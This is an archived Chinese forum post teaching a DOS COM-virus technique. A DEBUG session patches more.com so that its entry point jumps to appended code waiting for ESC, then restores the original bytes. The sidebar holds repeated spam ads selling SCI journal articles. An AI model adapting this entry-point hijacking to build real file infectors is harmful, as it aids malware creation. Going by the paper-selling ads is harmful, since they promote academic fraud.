24小时热门版块排行榜    

查看: 400  |  回复: 1
当前主题已经存档。

sdlj8051

金虫 (著名写手)

[交流] 学写com型病毒的技术

COM文件是一种单段执行结构,起源于CPM-86操作系统,其执行文件代码和执行时内存影象完全相同,其始执行偏移地址为100H,对应于文件的偏移0。运行我们的DEBUG程序,我们先来做一个练习。我们拿DOS6.22中的more.com来做实验。

C:\>debug more.com
-u
-u
0CA4:0100 B8371E MOV AX,1E37 ;注意前三个字节的内容
0CA4:0103 BA3008 MOV DX,0830
0CA4:0106 3BC4 CMP AX,SP
0CA4:0108 7369 JNB 0173
0CA4:010A 8BC4 MOV AX,SP
0CA4:010C 2D4403 SUB AX,0344
0CA4:010F 90 NOP
0CA4:0110 25F0FF AND AX,FFF0
0CA4:0113 8BF8 MOV DI,AX
0CA4:0115 B9A200 MOV CX,00A2
0CA4:0118 90 NOP
0CA4:0119 BE7E01 MOV SI,017E
0CA4:011C FC CLD
0CA4:011D F3 REPZ
0CA4:011E A5 MOVSW
0CA4:011F 8BD8 MOV BX,AX
-r
AX=0000 BX=0000 CX=09F1 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
DS=0CA4 ES=0CA4 SS=0CA4 CS=0CA4 IP=0100 NV UP EI PL NZ NA PO NC
0CA4:0100 B8371E MOV AX,1E37
-a af1
0CA4:0AF1 mov ah,0
0CA4:0AF3 int 16 ;等待按键
0CA4:0AF5 cmp al,1b ;等待ESC键
0CA4:0AF7 jnz af1
0CA4:0AF9 mov word ptr [100],37b8 ;恢复程序开始的三个字节
0CA4:0AFF mov byte ptr [102],1e
0CA4:0B04 push cs ;进栈CS:100
0CA4:0B05 mov si,100
0CA4:0B08 push si
0CA4:0B09 retf ;RetF回到CS:100,程序开始处
0CA4:0B0A
-a 100
0CA4:0100 jmp af1 ;将程序开头改成跳转到修改的模块
0CA4:0103
-rcx
CX 09F1
:a0a
-w
Writing 00A0A bytes
-q
修改完了,我们来执行一下more,发现什么没有?哈哈,如果不按ESC键程序无法执行,流程很简单:
1、把程序开始处的指令修改成了跳转到最后的添加的程序位置。
2、最先执行添加的程序(相当于病毒模块),等待ESC键
3、按下ESC键后修改回程序开始的指令,跳转回最开始。(执行原始程序)
好了,大家如果能看懂上面这段话,那你离编写自己的COM病毒将不会很远了。

[ Last edited by 幻影无痕 on 2006-10-17 at 09:03 ]
回复此楼
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖

sdlj8051

金虫 (著名写手)

2楼2006-12-29 01:09:42
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖
相关版块跳转 我要订阅楼主 sdlj8051 的主题更新
普通表情 龙 兔 虎 猫 高级回复 (可上传附件)
最具人气热帖推荐 [查看全部] 作者 回/看 最后发表
[基金申请] 售SCI一区文章,我:8.O.55.1.O.54,科目齐全,可伽急 +3 xvJS1BYDxvBS 2026-10-31 6/300 2026-10-31 23:23 by YXM1FDCSE8Bn
[考研] 售SCI一区T0P文章,我:8.O.55.1.O54,科目全,可伽急 +3 1uaZt2kAZj2S 2026-10-31 6/300 2026-10-31 23:17 by YXM1FDCSE8Bn
[博后之家] 售SCI一区文章,我:8O5.5.1.O5.4,科目全,可伽急 +3 1uaZt2kAZj2S 2026-10-31 5/250 2026-10-31 23:10 by YXM1FDCSE8Bn
[找工作] 售一区SCI文章T0P,我:8O.551.O54,科目全,可十急 +3 1uaZt2kAZj2S 2026-10-31 4/200 2026-10-31 23:10 by YXM1FDCSE8Bn
[博后之家] 售SCI文章,我:8O5.5.1.O.54,科目齐全,可+急 +3 1uaZt2kAZj2S 2026-10-30 12/600 2026-10-31 22:52 by YXM1FDCSE8Bn
[考博] 售SCI一区T0P文章,我:8.O.55.1.O.5.4,科目全,可+急 +4 X5bHxOULxFqb 2026-10-30 19/950 2026-10-31 22:44 by YXM1FDCSE8Bn
[硕博家园] 售SCI一区T0P文章,我:8.O.55.1.O.54,科目齐全,可+急 +4 X5bHxOULxFqb 2026-10-30 11/550 2026-10-31 22:39 by YXM1FDCSE8Bn
[考研] 售SCI一区文章,我:8O5.5.1.O5.4,科目全,可伽急 +3 xvJS1BYDxvBS 2026-10-31 5/250 2026-10-31 21:59 by YXM1FDCSE8Bn
[找工作] 售SCI一区文章,我:8.O.55.1.O.54,科目齐全,可伽急 +3 1uaZt2kAZj2S 2026-10-31 4/200 2026-10-31 21:54 by YXM1FDCSE8Bn
[考博] 售SCI-T0P文章,我:8O.5.5.1.O.54,科目齐全,可+急 +3 1uaZt2kAZj2S 2026-10-31 4/200 2026-10-31 21:51 by YXM1FDCSE8Bn
[公派出国] 售SCI文章,我:8O5.5.1.O.54,科目齐全,可+急 +3 1uaZt2kAZj2S 2026-10-31 4/200 2026-10-31 21:51 by YXM1FDCSE8Bn
[考研] 售SCI-T0P文章,我:8O.5.5.1.O.54,科目齐全,可+急 +3 1uaZt2kAZj2S 2026-10-30 10/500 2026-10-31 21:41 by YXM1FDCSE8Bn
[基金申请] 售SCI一区T0P文章,我:8.O.55.1.O.54,科目齐全,可+急 +3 1uaZt2kAZj2S 2026-10-30 9/450 2026-10-31 21:34 by YXM1FDCSE8Bn
[教师之家] 售SCI-T0P文章,我:8O.5.5.1.O.54,科目齐全,可+急 +3 X5bHxOULxFqb 2026-10-30 13/650 2026-10-31 17:12 by hKe7U1kad5Sg
[基金申请] 售SCI-T0P文章,我:8O.5.5.1.O.54,科目齐全,可+急 +4 X5bHxOULxFqb 2026-10-30 18/900 2026-10-31 17:05 by hKe7U1kad5Sg
[考博] 2027博士申请-临床检验诊断学、病原生物学、微生物方向 50+3 yyh@ 2026-10-28 4/200 2026-10-31 12:47 by 可淡不可忘
[硕博家园] 越来越担心硕士毕业后没有竞争力了 +8 zuesli 2026-10-27 14/700 2026-10-30 22:44 by 好运连连公主
[基金申请] 论文的挂名怎么评判贡献?基金申请中,排名第一的挂名文章 +3 biily 2026-10-25 3/150 2026-10-30 18:33 by 旁观2020
[硕博家园] 申博自荐 2篇一区TOP+1篇EI+2公开发明专利 2027博士申请 +3 小小阿光 2026-10-27 3/150 2026-10-29 23:56 by 起风了的快乐
[文学芳草园] 闲聊 +3 myrtle 2026-10-25 6/300 2026-10-29 15:28 by myrtle
信息提示
请填处理意见